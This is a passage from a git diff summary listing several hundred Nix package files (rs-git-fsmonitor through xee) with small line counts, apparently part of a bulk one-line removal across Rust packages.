 pkgs/by-name/rs/rs-git-fsmonitor/package.nix         |  1 -
 pkgs/by-name/rs/rs-tftpd/package.nix                 |  1 -
 pkgs/by-name/rs/rsass/package.nix                    |  1 -
 pkgs/by-name/rs/rsbkb/package.nix                    |  2 +-
 pkgs/by-name/rs/rsclock/package.nix                  |  1 -
 pkgs/by-name/rs/rshijack/package.nix                 |  1 -
 pkgs/by-name/rs/rsign2/package.nix                   |  1 -
 pkgs/by-name/rs/rslint/package.nix                   |  1 -
 pkgs/by-name/rs/rsonpath/package.nix                 |  1 -
 pkgs/by-name/rs/rsop/package.nix                     |  1 -
 pkgs/by-name/rt/rtrtr/package.nix                    |  1 -
 pkgs/by-name/rt/rtss/package.nix                     |  1 -
 pkgs/by-name/rt/rtz/package.nix                      |  1 -
 pkgs/by-name/ru/rubyfmt/package.nix                  |  1 -
 pkgs/by-name/ru/rucola/package.nix                   |  1 -
 pkgs/by-name/ru/rucredstash/package.nix              |  1 -
 pkgs/by-name/ru/ruff/package.nix                     |  1 -
 pkgs/by-name/ru/ruffle/package.nix                   |  1 -
 pkgs/by-name/ru/rune-languageserver/package.nix      |  1 -
 pkgs/by-name/ru/rune/package.nix                     |  1 -
 pkgs/by-name/ru/ruplacer/package.nix                 |  1 -
 pkgs/by-name/ru/russ/package.nix                     |  1 -
 pkgs/by-name/ru/rust-analyzer-unwrapped/package.nix  |  2 +-
 pkgs/by-name/ru/rust-audit-info/package.nix          |  1 -
 pkgs/by-name/ru/rust-cbindgen/package.nix            |  1 -
 pkgs/by-name/ru/rust-code-analysis/package.nix       |  1 -
 pkgs/by-name/ru/rust-motd/package.nix                |  1 -
 pkgs/by-name/ru/rust-parallel/package.nix            |  1 -
 pkgs/by-name/ru/rust-petname/package.nix             |  1 -
 pkgs/by-name/ru/rust-script/package.nix              |  1 -
 pkgs/by-name/ru/rust-stakeholder/package.nix         |  1 -
 .../ru/rust-synapse-compress-state/package.nix       |  1 -
 pkgs/by-name/ru/rust-traverse/package.nix            |  1 -
 pkgs/by-name/ru/rustcat/package.nix                  |  1 -
 pkgs/by-name/ru/rustdesk-flutter/package.nix         |  1 -
 pkgs/by-name/ru/rustdesk-server/package.nix          |  1 -
 pkgs/by-name/ru/rusti-cal/package.nix                |  1 -
 pkgs/by-name/ru/rustlings/package.nix                |  1 -
 pkgs/by-name/ru/rustls-libssl/package.nix            |  1 -
 pkgs/by-name/ru/rustmission/package.nix              |  1 -
 pkgs/by-name/ru/rustplayer/package.nix               |  1 -
 pkgs/by-name/ru/rustpython/package.nix               |  1 -
 pkgs/by-name/ru/rustscan/package.nix                 |  1 -
 pkgs/by-name/ru/rustus/package.nix                   |  1 -
 pkgs/by-name/ru/rusty-diceware/package.nix           |  1 -
 pkgs/by-name/ru/rusty-man/package.nix                |  1 -
 pkgs/by-name/ru/rusty-psn/package.nix                |  1 -
 pkgs/by-name/ru/rustycli/package.nix                 |  1 -
 pkgs/by-name/ru/rustypaste-cli/package.nix           |  1 -
 pkgs/by-name/ru/rustypaste/package.nix               |  1 -
 pkgs/by-name/ru/rustywind/package.nix                |  1 -
 pkgs/by-name/rw/rwalk/package.nix                    |  1 -
 pkgs/by-name/rw/rwedid/package.nix                   |  1 -
 pkgs/by-name/rw/rwpspread/package.nix                |  2 +-
 pkgs/by-name/rx/rx/package.nix                       |  1 -
 pkgs/by-name/ry/rye/package.nix                      |  1 -
 pkgs/by-name/s3/s3rs/package.nix                     |  1 -
 pkgs/by-name/sa/sad/package.nix                      |  1 -
 pkgs/by-name/sa/safe-rm/package.nix                  |  1 -
 pkgs/by-name/sa/safecloset/package.nix               |  1 -
 pkgs/by-name/sa/sagoin/package.nix                   |  1 -
 pkgs/by-name/sa/salut/package.nix                    |  1 -
 pkgs/by-name/sa/samply/package.nix                   |  1 -
 pkgs/by-name/sa/sanctity/package.nix                 |  1 -
 pkgs/by-name/sa/sarif-fmt/package.nix                |  1 -
 pkgs/by-name/sa/satty/package.nix                    |  1 -
 pkgs/by-name/sc/scaphandre/package.nix               |  1 -
 pkgs/by-name/sc/sccache/package.nix                  |  1 -
 pkgs/by-name/sc/schemamap/package.nix                |  1 -
 pkgs/by-name/sc/scooter/package.nix                  |  1 -
 pkgs/by-name/sc/scope-tui/package.nix                |  1 -
 pkgs/by-name/sc/scraper/package.nix                  |  1 -
 pkgs/by-name/sc/screenly-cli/package.nix             |  1 -
 pkgs/by-name/sc/scriptisto/package.nix               |  1 -
 pkgs/by-name/sc/scryer-prolog/package.nix            |  1 -
 pkgs/by-name/sd/sd-switch/package.nix                |  1 -
 pkgs/by-name/sd/sd/package.nix                       |  1 -
 pkgs/by-name/se/sea-orm-cli/package.nix              |  1 -
 pkgs/by-name/se/see-cat/package.nix                  |  1 -
 pkgs/by-name/se/seehecht/package.nix                 |  1 -
 pkgs/by-name/se/selene/package.nix                   |  1 -
 pkgs/by-name/se/selenium-manager/package.nix         |  1 -
 pkgs/by-name/se/sendme/package.nix                   |  1 -
 pkgs/by-name/se/sentry-cli/package.nix               |  1 -
 pkgs/by-name/se/sequoia-chameleon-gnupg/package.nix  |  1 -
 pkgs/by-name/se/sequoia-sq/package.nix               |  1 -
 pkgs/by-name/se/sequoia-sqop/package.nix             |  1 -
 pkgs/by-name/se/sequoia-sqv/package.nix              |  1 -
 pkgs/by-name/se/sequoia-wot/package.nix              |  1 -
 pkgs/by-name/se/serie/package.nix                    |  1 -
 pkgs/by-name/se/serpl/package.nix                    |  1 -
 pkgs/by-name/se/servo/package.nix                    |  1 -
 pkgs/by-name/sf/sfz/package.nix                      |  1 -
 pkgs/by-name/sg/sgxs-tools/package.nix               |  2 +-
 pkgs/by-name/sh/sh4d0wup/package.nix                 |  1 -
 pkgs/by-name/sh/shadow-tls/package.nix               |  1 -
 pkgs/by-name/sh/shadowenv/package.nix                |  1 -
 pkgs/by-name/sh/shadowsocks-rust/package.nix         |  1 -
 pkgs/by-name/sh/shavee/package.nix                   |  1 -
 pkgs/by-name/sh/sheldon/package.nix                  |  1 -
 pkgs/by-name/sh/shellcheck-sarif/package.nix         |  1 -
 pkgs/by-name/sh/shellclear/package.nix               |  1 -
 pkgs/by-name/sh/shellharden/package.nix              |  1 -
 pkgs/by-name/sh/shikane/package.nix                  |  1 -
 pkgs/by-name/sh/shisho/package.nix                   |  2 +-
 pkgs/by-name/sh/shotgun/package.nix                  |  1 -
 pkgs/by-name/sh/shotman/package.nix                  |  1 -
 pkgs/by-name/sh/shpool/package.nix                   |  1 -
 .../by-name/sh/shticker-book-unwritten/unwrapped.nix |  1 -
 pkgs/by-name/si/sic-image-cli/package.nix            |  1 -
 pkgs/by-name/si/sig/package.nix                      |  1 -
 pkgs/by-name/si/sigi/package.nix                     |  1 -
 pkgs/by-name/si/signal-desktop/ringrtc.nix           |  2 +-
 pkgs/by-name/si/siketyan-ghr/package.nix             |  1 -
 pkgs/by-name/si/silicon/package.nix                  |  1 -
 .../si/simple-completion-language-server/package.nix |  1 -
 pkgs/by-name/si/simple-http-server/package.nix       |  1 -
 pkgs/by-name/si/sink-rotate/package.nix              |  1 -
 pkgs/by-name/si/sirula/package.nix                   |  1 -
 pkgs/by-name/sl/slingshot/package.nix                |  1 -
 pkgs/by-name/sl/slint-viewer/package.nix             |  1 -
 pkgs/by-name/sl/slippy/package.nix                   |  1 -
 pkgs/by-name/sl/slowlorust/package.nix               |  1 -
 pkgs/by-name/sl/slumber/package.nix                  |  1 -
 pkgs/by-name/sm/smag/package.nix                     |  1 -
 pkgs/by-name/sm/smartcat/package.nix                 |  1 -
 pkgs/by-name/sn/sn0int/package.nix                   |  1 -
 pkgs/by-name/sn/snarkos/package.nix                  |  1 -
 pkgs/by-name/sn/snazy/package.nix                    |  1 -
 pkgs/by-name/sn/sniffglue/package.nix                |  1 -
 pkgs/by-name/sn/sniffnet/package.nix                 |  1 -
 pkgs/by-name/sn/snpguest/package.nix                 |  1 -
 pkgs/by-name/sn/snphost/package.nix                  |  1 -
 pkgs/by-name/sn/snx-rs/package.nix                   |  1 -
 pkgs/by-name/so/so/package.nix                       |  1 -
 pkgs/by-name/so/solana-cli/package.nix               |  1 -
 pkgs/by-name/so/solo2-cli/package.nix                |  1 -
 pkgs/by-name/so/songrec/package.nix                  |  1 -
 pkgs/by-name/so/sonic-server/package.nix             |  1 -
 pkgs/by-name/so/sonusmix/package.nix                 |  1 -
 pkgs/by-name/so/soteria/package.nix                  |  1 -
 pkgs/by-name/so/sourcepawn-studio/package.nix        |  1 -
 pkgs/by-name/so/sozu/package.nix                     |  1 -
 pkgs/by-name/sp/spacer/package.nix                   |  1 -
 pkgs/by-name/sp/spacetimedb/package.nix              |  1 -
 pkgs/by-name/sp/spade/package.nix                    |  1 -
 pkgs/by-name/sp/speakersafetyd/package.nix           |  2 +-
 pkgs/by-name/sp/specr-transpile/package.nix          |  1 -
 pkgs/by-name/sp/speedtest-rs/package.nix             |  1 -
 pkgs/by-name/sp/spider/package.nix                   |  1 -
 pkgs/by-name/sp/spl/package.nix                      |  1 -
 pkgs/by-name/sp/spotify-player/package.nix           |  1 -
 pkgs/by-name/sp/spotifyd/package.nix                 |  1 -
 pkgs/by-name/sp/spr/package.nix                      |  1 -
 pkgs/by-name/sp/spytrap-adb/package.nix              |  1 -
 pkgs/by-name/sq/sql-studio/package.nix               |  2 --
 pkgs/by-name/sq/sqld/package.nix                     |  1 -
 pkgs/by-name/sq/sqlpage/package.nix                  |  2 --
 pkgs/by-name/sq/sqlx-cli/package.nix                 |  1 -
 pkgs/by-name/sq/sqruff/package.nix                   |  1 -
 pkgs/by-name/sq/squawk/package.nix                   |  2 --
 pkgs/by-name/sq/squirreldisk/package.nix             |  1 -
 pkgs/by-name/sr/srgn/package.nix                     |  1 -
 pkgs/by-name/sr/srisum/package.nix                   |  2 +-
 pkgs/by-name/ss/ssh-openpgp-auth/generic.nix         |  2 +-
 pkgs/by-name/ss/sshs/package.nix                     |  1 -
 pkgs/by-name/ss/sss-cli/package.nix                  |  1 -
 pkgs/by-name/ss/sss_code/package.nix                 |  2 --
 pkgs/by-name/st/stalwart-mail/package.nix            |  1 -
 pkgs/by-name/st/stalwart-mail/webadmin.nix           |  1 -
 pkgs/by-name/st/star-history/package.nix             |  1 -
 pkgs/by-name/st/stardust-xr-atmosphere/package.nix   |  1 -
 pkgs/by-name/st/stardust-xr-flatland/package.nix     |  1 -
 pkgs/by-name/st/stardust-xr-gravity/package.nix      |  1 -
 pkgs/by-name/st/stardust-xr-kiara/package.nix        |  1 -
 pkgs/by-name/st/stardust-xr-magnetar/package.nix     |  1 -
 pkgs/by-name/st/stardust-xr-phobetor/package.nix     |  1 -
 pkgs/by-name/st/stardust-xr-protostar/package.nix    |  1 -
 pkgs/by-name/st/stardust-xr-server/package.nix       |  1 -
 pkgs/by-name/st/stardust-xr-sphereland/package.nix   |  1 -
 pkgs/by-name/st/stargazer/package.nix                |  1 -
 pkgs/by-name/st/starlark-rust/package.nix            |  1 -
 pkgs/by-name/st/starry/package.nix                   |  1 -
 pkgs/by-name/st/starship/package.nix                 |  1 -
 pkgs/by-name/st/static-web-server/package.nix        |  1 -
 pkgs/by-name/st/statix/package.nix                   |  1 -
 pkgs/by-name/st/steam-acf/package.nix                |  1 -
 pkgs/by-name/st/steam-tui/package.nix                |  1 -
 pkgs/by-name/st/steamguard-cli/package.nix           |  1 -
 pkgs/by-name/st/steel/package.nix                    |  1 -
 pkgs/by-name/st/stgit/package.nix                    |  2 +-
 pkgs/by-name/st/strace-analyzer/package.nix          |  1 -
 pkgs/by-name/st/stract/package.nix                   |  1 -
 pkgs/by-name/st/stratovirt/package.nix               |  1 -
 pkgs/by-name/st/strip-ansi/package.nix               |  1 -
 pkgs/by-name/st/stu/package.nix                      |  1 -
 pkgs/by-name/st/stylance-cli/package.nix             |  1 -
 pkgs/by-name/st/stylua/package.nix                   |  1 -
 pkgs/by-name/su/sub-batch/package.nix                |  1 -
 pkgs/by-name/su/substudy/package.nix                 |  1 -
 pkgs/by-name/su/subxt/package.nix                    |  1 -
 pkgs/by-name/su/suckit/package.nix                   |  1 -
 pkgs/by-name/su/sudachi-rs/package.nix               |  1 -
 pkgs/by-name/su/sudo-rs/package.nix                  |  2 --
 pkgs/by-name/su/supergfxctl/package.nix              |  1 -
 pkgs/by-name/su/surface-control/package.nix          |  2 --
 pkgs/by-name/su/surfer/package.nix                   |  1 -
 pkgs/by-name/su/surrealdb-migrations/package.nix     |  1 -
 pkgs/by-name/su/surrealdb/package.nix                |  1 -
 pkgs/by-name/sv/svd2rust/package.nix                 |  1 -
 pkgs/by-name/sv/svdtools/package.nix                 |  1 -
 pkgs/by-name/sv/svg2pdf/package.nix                  |  1 -
 pkgs/by-name/sv/svgbob/package.nix                   |  1 -
 pkgs/by-name/sv/svgcleaner/package.nix               |  1 -
 pkgs/by-name/sv/svix-server/package.nix              |  1 -
 pkgs/by-name/sv/svlint/package.nix                   |  1 -
 pkgs/by-name/sv/svls/package.nix                     |  1 -
 pkgs/by-name/sw/swapview/package.nix                 |  1 -
 pkgs/by-name/sw/sway-easyfocus/package.nix           |  1 -
 pkgs/by-name/sw/sway-new-workspace/package.nix       |  1 -
 pkgs/by-name/sw/sway-overfocus/package.nix           |  1 -
 pkgs/by-name/sw/sway-scratch/package.nix             |  1 -
 pkgs/by-name/sw/swaycons/package.nix                 |  1 -
 pkgs/by-name/sw/swayest-workstyle/package.nix        |  1 -
 pkgs/by-name/sw/swayr/package.nix                    |  1 -
 pkgs/by-name/sw/swayrbar/package.nix                 |  1 -
 pkgs/by-name/sw/swaysome/package.nix                 |  1 -
 pkgs/by-name/sw/swayws/package.nix                   |  1 -
 pkgs/by-name/sw/swaywsr/package.nix                  |  1 -
 pkgs/by-name/sw/swc/package.nix                      |  1 -
 pkgs/by-name/sw/swim/package.nix                     |  1 -
 pkgs/by-name/sw/swww/package.nix                     |  1 -
 pkgs/by-name/sy/symbolicator/package.nix             |  1 -
 pkgs/by-name/sy/synapse-bt/package.nix               |  1 -
 pkgs/by-name/sy/syncstorage-rs/package.nix           |  1 -
 pkgs/by-name/sy/syndicate-server/package.nix         |  2 +-
 pkgs/by-name/sy/synth/package.nix                    |  1 -
 pkgs/by-name/sy/system-syzygy/package.nix            |  1 -
 pkgs/by-name/sy/system76-firmware/package.nix        |  1 -
 .../sy/system76-keyboard-configurator/package.nix    |  1 -
 pkgs/by-name/sy/system76-power/package.nix           |  1 -
 pkgs/by-name/sy/system76-scheduler/package.nix       |  2 +-
 pkgs/by-name/sy/systemctl-tui/package.nix            |  1 -
 pkgs/by-name/sy/systemfd/package.nix                 |  1 -
 pkgs/by-name/sy/systeroid/package.nix                |  1 -
 pkgs/by-name/sz/szyszka/package.nix                  |  1 -
 pkgs/by-name/t-/t-rex/package.nix                    |  1 -
 pkgs/by-name/ta/tab-rs/package.nix                   |  1 -
 pkgs/by-name/ta/tabby/package.nix                    |  1 -
 pkgs/by-name/ta/tabiew/package.nix                   |  1 -
 pkgs/by-name/ta/tagref/package.nix                   |  1 -
 pkgs/by-name/ta/tailspin/package.nix                 |  1 -
 pkgs/by-name/ta/taizen/package.nix                   |  1 -
 pkgs/by-name/ta/talecast/package.nix                 |  1 -
 pkgs/by-name/ta/taler-depolymerization/package.nix   |  1 -
 pkgs/by-name/ta/tangara-cli/package.nix              |  1 -
 pkgs/by-name/ta/tangara-companion/package.nix        |  2 --
 pkgs/by-name/ta/tantivy-go/package.nix               |  1 -
 pkgs/by-name/ta/taplo/package.nix                    |  1 -
 pkgs/by-name/ta/tarmac/package.nix                   |  2 --
 pkgs/by-name/ta/tarssh/package.nix                   |  1 -
 pkgs/by-name/ta/taschenrechner/package.nix           |  1 -
 pkgs/by-name/ta/task-keeper/package.nix              |  2 +-
 pkgs/by-name/ta/taskchampion-sync-server/package.nix |  1 -
 pkgs/by-name/ta/tasks/package.nix                    |  1 -
 pkgs/by-name/ta/taskwarrior-tui/package.nix          |  1 -
 pkgs/by-name/tb/tbtools/package.nix                  |  1 -
 pkgs/by-name/tc/tcount/package.nix                   |  2 --
 pkgs/by-name/td/tdf/package.nix                      |  1 -
 pkgs/by-name/td/tdns-cli/package.nix                 |  1 -
 pkgs/by-name/te/tealdeer/package.nix                 |  1 -
 pkgs/by-name/te/tectonic-unwrapped/package.nix       |  1 -
 pkgs/by-name/te/teehee/package.nix                   |  1 -
 pkgs/by-name/te/teip/package.nix                     |  1 -
 pkgs/by-name/te/teleport/package.nix                 |  2 +-
 pkgs/by-name/te/television/package.nix               |  1 -
 pkgs/by-name/te/teller/package.nix                   |  1 -
 pkgs/by-name/te/tenere/package.nix                   |  2 +-
 pkgs/by-name/te/tenki/package.nix                    |  1 -
 pkgs/by-name/te/tensorman/package.nix                |  1 -
 pkgs/by-name/te/tera-cli/package.nix                 |  1 -
 pkgs/by-name/te/tere/package.nix                     |  1 -
 pkgs/by-name/te/termimage/package.nix                |  1 -
 pkgs/by-name/te/terminal-typeracer/package.nix       |  1 -
 pkgs/by-name/te/termscp/package.nix                  |  1 -
 pkgs/by-name/te/termsnap/package.nix                 |  1 -
 pkgs/by-name/te/termusic/package.nix                 |  1 -
 pkgs/by-name/te/tex-fmt/package.nix                  |  1 -
 pkgs/by-name/te/texlab/package.nix                   |  1 -
 pkgs/by-name/te/texpresso/tectonic.nix               |  2 +-
 pkgs/by-name/te/textplots/package.nix                |  1 -
 pkgs/by-name/te/texture-synthesis/package.nix        |  1 -
 pkgs/by-name/th/the-way/package.nix                  |  1 -
 pkgs/by-name/th/theattyr/package.nix                 |  1 -
 pkgs/by-name/th/thin-provisioning-tools/package.nix  |  1 -
 pkgs/by-name/th/thokr/package.nix                    |  1 -
 pkgs/by-name/th/thud/package.nix                     |  1 -
 pkgs/by-name/th/thumbs/package.nix                   |  1 -
 pkgs/by-name/ti/tickrs/package.nix                   |  1 -
 pkgs/by-name/ti/tidy-viewer/package.nix              |  1 -
 pkgs/by-name/ti/timewall/package.nix                 |  1 -
 pkgs/by-name/ti/tinty/package.nix                    |  1 -
 pkgs/by-name/ti/tiny/package.nix                     |  1 -
 pkgs/by-name/ti/tinymist/package.nix                 |  1 -
 pkgs/by-name/tl/tlafmt/package.nix                   |  2 --
 pkgs/by-name/tl/tlrc/package.nix                     |  1 -
 pkgs/by-name/tm/tmux-sessionizer/package.nix         |  1 -
 pkgs/by-name/to/to-html/package.nix                  |  1 -
 pkgs/by-name/to/toast/package.nix                    |  1 -
 pkgs/by-name/to/toastify/package.nix                 |  1 -
 pkgs/by-name/to/todo/package.nix                     |  1 -
 pkgs/by-name/to/toipe/package.nix                    |  1 -
 pkgs/by-name/to/tokio-console/package.nix            |  1 -
 pkgs/by-name/to/tombl/package.nix                    |  1 -
 pkgs/by-name/to/toml-cli/package.nix                 |  1 -
 pkgs/by-name/to/toml2json/package.nix                |  1 -
 pkgs/by-name/to/tomlq/package.nix                    |  1 -
 pkgs/by-name/to/tooling-language-server/package.nix  |  1 -
 pkgs/by-name/to/topfew-rs/package.nix                |  1 -
 pkgs/by-name/to/topgrade/package.nix                 |  1 -
 pkgs/by-name/to/topiary/package.nix                  |  1 -
 pkgs/by-name/to/tox-node/package.nix                 |  1 -
 pkgs/by-name/tp/tp-auto-kbbl/package.nix             |  1 -
 pkgs/by-name/tp/tpi/package.nix                      |  1 -
 pkgs/by-name/tp/tplay/package.nix                    |  1 -
 pkgs/by-name/tp/tpnote/package.nix                   |  1 -
 pkgs/by-name/tp/tpsecore/package.nix                 |  1 -
 pkgs/by-name/tr/tracexec/package.nix                 |  1 -
 pkgs/by-name/tr/transmission-rss/package.nix         |  1 -
 pkgs/by-name/tr/trashy/package.nix                   |  1 -
 pkgs/by-name/tr/tray-tui/package.nix                 |  2 --
 pkgs/by-name/tr/tre-command/package.nix              |  1 -
 pkgs/by-name/tr/treedome/package.nix                 |  1 -
 pkgs/by-name/tr/triforce-lv2/package.nix             |  1 -
 pkgs/by-name/tr/trippy/package.nix                   |  1 -
 pkgs/by-name/tr/trojan-rs/package.nix                |  1 -
 pkgs/by-name/tr/trunk-ng/package.nix                 |  1 -
 pkgs/by-name/tr/trunk/package.nix                    |  1 -
 pkgs/by-name/ts/ts_query_ls/package.nix              |  1 -
 pkgs/by-name/tt/ttags/package.nix                    |  1 -
 pkgs/by-name/tt/ttdl/package.nix                     |  1 -
 pkgs/by-name/tt/ttfb/package.nix                     |  1 -
 pkgs/by-name/tt/ttyper/package.nix                   |  1 -
 pkgs/by-name/tt/ttysvr/package.nix                   |  2 +-
 pkgs/by-name/tu/tuc/package.nix                      |  1 -
 pkgs/by-name/tu/tuckr/package.nix                    |  1 -
 pkgs/by-name/tu/tuicam/package.nix                   |  1 -
 pkgs/by-name/tu/tuifeed/package.nix                  |  1 -
 pkgs/by-name/tu/tuisky/package.nix                   |  1 -
 pkgs/by-name/tu/tun2proxy/package.nix                |  1 -
 pkgs/by-name/tu/tunnelto/package.nix                 |  1 -
 pkgs/by-name/tu/turbo-unwrapped/package.nix          |  1 -
 pkgs/by-name/tu/turn-rs/package.nix                  |  1 -
 pkgs/by-name/tu/turnon/package.nix                   |  1 -
 pkgs/by-name/tu/turtle-build/package.nix             |  1 -
 pkgs/by-name/tu/tuxedo-rs/package.nix                |  1 -
 pkgs/by-name/tu/tuxmux/package.nix                   |  1 -
 pkgs/by-name/tv/tv/package.nix                       |  1 -
 pkgs/by-name/tw/twiggy/package.nix                   |  1 -
 pkgs/by-name/tw/twitch-hls-client/package.nix        |  1 -
 pkgs/by-name/tw/twitch-tui/package.nix               |  1 -
 pkgs/by-name/tw/twm/package.nix                      |  1 -
 pkgs/by-name/ty/tydra/package.nix                    |  1 -
 pkgs/by-name/ty/typeshare/package.nix                |  1 -
 pkgs/by-name/ty/typical/package.nix                  |  1 -
 pkgs/by-name/ty/typos-lsp/package.nix                |  1 -
 pkgs/by-name/ty/typos/package.nix                    |  1 -
 pkgs/by-name/ty/typst-live/package.nix               |  1 -
 pkgs/by-name/ty/typst/package.nix                    |  1 -
 pkgs/by-name/ty/typstfmt/package.nix                 |  1 -
 pkgs/by-name/ty/typstyle/package.nix                 |  1 -
 pkgs/by-name/tz/tzupdate/package.nix                 |  1 -
 pkgs/by-name/ua/uair/package.nix                     |  1 -
 pkgs/by-name/ud/udict/package.nix                    |  1 -
 pkgs/by-name/ud/udpt/package.nix                     |  1 -
 pkgs/by-name/ue/uefi-run/package.nix                 |  1 -
 pkgs/by-name/ue/uefisettings/package.nix             |  1 -
 pkgs/by-name/ue/uesave/package.nix                   |  1 -
 pkgs/by-name/ui/uiua/package.nix                     |  1 -
 pkgs/by-name/uk/ukmm/package.nix                     |  1 -
 pkgs/by-name/un/unbook/package.nix                   |  1 -
 pkgs/by-name/un/uni-sync/package.nix                 |  1 -
 pkgs/by-name/un/unimap/package.nix                   |  1 -
 pkgs/by-name/un/unison-fsmonitor/package.nix         |  2 +-
 .../un/universal-android-debloater/package.nix       |  1 -
 pkgs/by-name/un/unpfs/package.nix                    |  1 -
 pkgs/by-name/un/unused/package.nix                   |  1 -
 pkgs/by-name/un/unzrip/package.nix                   |  1 -
 pkgs/by-name/ur/urlencode/package.nix                |  1 -
 pkgs/by-name/us/usage/package.nix                    |  1 -
 pkgs/by-name/us/userborn/package.nix                 |  1 -
 pkgs/by-name/ut/utpm/package.nix                     |  1 -
 pkgs/by-name/uu/uutils-diffutils/package.nix         |  1 -
 pkgs/by-name/uu/uutils-findutils/package.nix         |  1 -
 pkgs/by-name/uv/uv/package.nix                       |  1 -
 pkgs/by-name/uw/uwc/package.nix                      |  1 -
 pkgs/by-name/uw/uwuify/package.nix                   |  1 -
 pkgs/by-name/va/vale-ls/package.nix                  |  1 -
 pkgs/by-name/va/vault-tasks/package.nix              |  2 +-
 pkgs/by-name/va/vaultwarden/package.nix              |  1 -
 pkgs/by-name/vd/vdhcoapp/filepicker.nix              |  1 -
 pkgs/by-name/ve/vector/package.nix                   |  1 -
 pkgs/by-name/ve/veilid/package.nix                   |  1 -
 pkgs/by-name/ve/verco/package.nix                    |  1 -
 pkgs/by-name/ve/versatiles/package.nix               |  1 -
 pkgs/by-name/ve/veryl/package.nix                    |  1 -
 pkgs/by-name/vh/vhdl-ls/package.nix                  |  1 -
 pkgs/by-name/vi/viceroy/package.nix                  |  1 -
 pkgs/by-name/vi/viddy/package.nix                    |  1 -
 pkgs/by-name/vi/vimcats/package.nix                  |  1 -
 pkgs/by-name/vi/vimv-rs/package.nix                  |  1 -
 pkgs/by-name/vi/virtiofsd/package.nix                |  1 -
 pkgs/by-name/vi/viu/package.nix                      |  1 -
 pkgs/by-name/vi/vivid/package.nix                    |  1 -
 pkgs/by-name/vo/voidmap/package.nix                  |  1 -
 pkgs/by-name/vo/volta/package.nix                    |  1 -
 pkgs/by-name/vo/vopono/package.nix                   |  1 -
 pkgs/by-name/vr/vrc-get/package.nix                  |  1 -
 pkgs/by-name/vu/vulkan-helper/package.nix            |  1 -
 pkgs/by-name/wa/wagyu/package.nix                    |  1 -
 pkgs/by-name/wa/wallust/package.nix                  |  1 -
 pkgs/by-name/wa/wambo/package.nix                    |  1 -
 pkgs/by-name/wa/wapm/package.nix                     |  1 -
 pkgs/by-name/wa/wash-cli/package.nix                 |  1 -
 pkgs/by-name/wa/wasm-language-tools/package.nix      |  1 -
 pkgs/by-name/wa/wasm-pack/package.nix                |  1 -
 pkgs/by-name/wa/wasm-tools/package.nix               |  2 +-
 pkgs/by-name/wa/wasmer-pack/package.nix              |  1 -
 pkgs/by-name/wa/wasmi/package.nix                    |  1 -
 pkgs/by-name/wa/wasmtime/package.nix                 |  2 +-
 pkgs/by-name/wa/wastebin/package.nix                 |  1 -
 pkgs/by-name/wa/watchexec/package.nix                |  1 -
 pkgs/by-name/wa/watchlog/package.nix                 |  1 -
 pkgs/by-name/wa/watchmate/package.nix                |  1 -
 pkgs/by-name/wa/watershot/package.nix                |  1 -
 pkgs/by-name/wa/waycorner/package.nix                |  1 -
 pkgs/by-name/wa/wayfreeze/package.nix                |  1 -
 pkgs/by-name/wa/wayidle/package.nix                  |  1 -
 .../wa/wayland-pipewire-idle-inhibit/package.nix     |  1 -
 pkgs/by-name/wa/waylevel/package.nix                 |  1 -
 pkgs/by-name/wa/waylyrics/package.nix                |  2 --
 pkgs/by-name/wa/wayout/package.nix                   |  1 -
 pkgs/by-name/wa/wayshot/package.nix                  |  1 -
 pkgs/by-name/wa/waytrogen/package.nix                |  1 -
 pkgs/by-name/wc/wchisp/package.nix                   |  1 -
 pkgs/by-name/we/weaver/package.nix                   |  1 -
 pkgs/by-name/we/webdav-server-rs/package.nix         |  1 -
 pkgs/by-name/we/websocat/package.nix                 |  1 -
 pkgs/by-name/we/websurfx/package.nix                 |  2 --
 pkgs/by-name/we/weggli/package.nix                   |  1 -
 pkgs/by-name/we/weylus/package.nix                   |  1 -
 pkgs/by-name/we/wezterm/package.nix                  |  1 -
 pkgs/by-name/wg/wg-netmanager/package.nix            |  1 -
 pkgs/by-name/wg/wgautomesh/package.nix               |  1 -
 pkgs/by-name/wg/wgpu-native/package.nix              |  1 -
 pkgs/by-name/wg/wgpu-utils/package.nix               |  1 -
 pkgs/by-name/wg/wgsl-analyzer/package.nix            |  1 -
 pkgs/by-name/wh/when-cli/package.nix                 |  1 -
 pkgs/by-name/wh/whitebox-tools/package.nix           |  1 -
 pkgs/by-name/wi/wiki-tui/package.nix                 |  2 +-
 pkgs/by-name/wi/windmill/package.nix                 |  1 -
 pkgs/by-name/wi/windowtolayer/package.nix            |  1 -
 pkgs/by-name/wi/windsend-rs/package.nix              |  2 --
 pkgs/by-name/wi/wiper/package.nix                    |  1 -
 pkgs/by-name/wi/wired/package.nix                    |  1 -
 pkgs/by-name/wi/wishbone-tool/package.nix            |  1 -
 pkgs/by-name/wi/wit-bindgen/package.nix              |  1 -
 pkgs/by-name/wi/wizer/package.nix                    |  1 -
 pkgs/by-name/wl/wl-clip-persist/package.nix          |  1 -
 pkgs/by-name/wl/wl-clipboard-rs/package.nix          |  1 -
 pkgs/by-name/wl/wl-crosshair/package.nix             |  1 -
 pkgs/by-name/wl/wl-gammarelay-applet/package.nix     |  1 -
 pkgs/by-name/wl/wl-gammarelay-rs/package.nix         |  1 -
 pkgs/by-name/wl/wl-screenrec/package.nix             |  1 -
 pkgs/by-name/wl/wldash/package.nix                   |  1 -
 pkgs/by-name/wl/wleave/package.nix                   |  1 -
 pkgs/by-name/wl/wlink/package.nix                    |  1 -
 pkgs/by-name/wl/wlr-which-key/package.nix            |  1 -
 pkgs/by-name/wl/wluma/package.nix                    |  1 -
 pkgs/by-name/wl/wlx-overlay-s/package.nix            |  1 -
 pkgs/by-name/wo/woomer/package.nix                   |  1 -
 pkgs/by-name/wo/worker-build/package.nix             |  2 --
 pkgs/by-name/wo/workshop-runner/package.nix          |  1 -
 pkgs/by-name/wp/wpaperd/package.nix                  |  1 -
 pkgs/by-name/wp/wprs/package.nix                     |  1 -
 pkgs/by-name/wr/wrangler_1/package.nix               |  1 -
 pkgs/by-name/wr/writedisk/package.nix                |  1 -
 pkgs/by-name/ws/wstunnel/package.nix                 |  1 -
 pkgs/by-name/wt/wthrr/package.nix                    |  1 -
 pkgs/by-name/wt/wttrbar/package.nix                  |  1 -
 pkgs/by-name/wy/wyvern/package.nix                   |  1 -
 pkgs/by-name/x4/x4/package.nix                       |  1 -
 pkgs/by-name/xa/xan/package.nix                      |  1 -
 pkgs/by-name/xc/xcolor/package.nix                   |  1 -
 pkgs/by-name/xc/xcp/package.nix                      |  1 -
 .../by-name/xd/xdg-desktop-portal-cosmic/package.nix |  1 -
 pkgs/by-name/xd/xdg-terminal-exec-mkhl/package.nix   |  1 -
 pkgs/by-name/xe/xee/package.nix                      |  1 -
